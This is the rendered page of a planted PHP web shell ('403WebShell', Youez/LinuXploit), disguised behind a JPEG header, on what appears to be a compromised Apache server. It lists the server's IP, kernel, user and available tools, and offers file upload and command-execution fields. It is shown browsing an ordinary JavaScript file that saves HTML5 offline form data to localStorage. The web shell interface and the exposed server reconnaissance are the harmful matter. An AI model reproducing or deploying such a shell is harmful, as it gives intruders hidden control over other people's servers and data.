????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/labs.astacus.se/HTML5TEST/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/labs.astacus.se/HTML5TEST/script.js
// JavaScript Document

// Global variables
var hasBeenOffline = false;


// Init the site to check for Internet each 10s
function init(){
	 setInterval("checkStatus()",10000);
	 FillForm();
	 getVersion();
}

// Checks if online.png file can be found on the server. It is NEVER cached so it can only be found if
// user is online.
function checkStatus(){
	img = new Image();  
	img.onerror = function (evt) {
  		offline();
 	} 
	img.onload = function (evt){
		online();
	}
 	img.src = "http://labs.astacus.se/HTML5TEST/online.png";
}

// Sets the image to offline
function offline(){
	document.getElementById('offlineIMG').src = "http://labs.astacus.se/HTML5TEST/offline.png";
	hasBeenOffline = true;
}

// Sets the image to online
function online(){
	document.getElementById('offlineIMG').src = "http://labs.astacus.se/HTML5TEST/online.png";
	
	if(hasBeenOffline == true){
		FillForm();
		localStorage.clear();
		hasBeenOffline = false;
		var r=confirm("Vill du synkronisera all data?");
		
	}
}

// Add Items to a select menu
function addSelectItems(selectId, items){
	
	var select = document.getElementById(selectId);
	select.options.length = 0;
	for(index in items) {
		select.options[select.options.length] = new Option(myobject[index], index);
	}
}

// Gets the current version from offline.manifest
function getVersion(){
	var version = document.getElementById("version");
	var xmlhttp = new XMLHttpRequest();
	xmlhttp.open("GET","http://labs.astacus.se/HTML5TEST/offline.manifest",false); 
	xmlhttp.send();
	var text = xmlhttp.responseText;
	var lines = text.split("\n");
		for (var n=0; n<lines.length; n++)
		{
			var line = lines[n];
			if(line.indexOf("version") !== -1){
				version.innerHTML = line;
			}
		}
}

// Creates an XML of all fields data and saves it in localStorage called localXML
function submit_xml(){

	var formname = document.forms[0].name;
	var path = document.location;
	var formUniqueId = 1;
	var xml = '<?xml version="1.0" encoding="UTF-8"?>\n<Form>\n<FormName>'+formname+'</FormName>\n<FormPath>'+path+'</FormPath>\n<FormUniqueId>'+formUniqueId+'</FormUniqueId>\n<Fields>\n';
	
	for (i=0; i<document.forms[0].elements.length; i++)
	  {
	var type = document.forms[0].elements[i].type;
	var name = document.forms[0].elements[i].name;
	var value = document.forms[0].elements[i].value;
			xml += '<Field>\n';
			xml += '	<FieldName>'+name+'</FieldName>\n';
			xml += '	<FieldType>'+type+'</FieldType>\n';
			xml += '	<FieldValue>'+value+'</FieldValue>\n';
			xml += '</Field>\n';
	  }
	
	xml += '</Fields></Form>\n';
	localStorage.setItem("localXML", xml);

}

// Fills the forms based on saved localStorage called localXML
function FillForm(){
	
xml = localStorage.getItem("localXML");

	if (window.DOMParser)
	  {
	  parser=new DOMParser();
	  xmlDoc=parser.parseFromString(xml,"text/xml");
	  }
	else // Internet Explorer
	  {
	  xmlDoc=new ActiveXObject("Microsoft.XMLDOM");
	  xmlDoc.async=false;
	  xmlDoc.loadXML(xml); 
	}

	
var FormName = xmlDoc.getElementsByTagName("FormName")[0].childNodes[0].nodeValue;

var Fields = xmlDoc.getElementsByTagName("Fields");

for (i=0;i<Fields.length;i++){ 
	
	var Field = Fields[i].getElementsByTagName("Field");
	
	for (j=0;j<Field.length;j++){
		
		var FieldName = Field[j].getElementsByTagName("FieldName")[0].childNodes[0].nodeValue;
	    var FieldType = Field[j].getElementsByTagName("FieldType")[0].childNodes[0].nodeValue;
		var FieldValue = Field[j].getElementsByTagName("FieldValue")[0].childNodes[0].nodeValue;
		
		var oForm = document.forms[FormName];
		
			 if(FieldType == "checkbox"){
				if(FieldValue == "1"){
					oForm[FieldName].checked = true;	
				}else{
					oForm[FieldName].checked = false;		
				}
				
			 }else if(FieldType == "radio"){
				 
				 for(a=0;a<oForm[FieldName].length;a++){
					 if( oForm[FieldName][a].value == FieldValue){
						 oForm[FieldName][a].checked = true;
					 }
				 }
				 
			}else if(FieldType == "text"){
				
					oForm[FieldName].value = FieldValue;
				
			}else if(FieldType == "select-one"){
				
				 for(a=0;a<oForm[FieldName].length;a++){
					 if( oForm[FieldName][a].value == FieldValue){
						 oForm[FieldName][a].selected = true;
					 }
				 }
			}
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit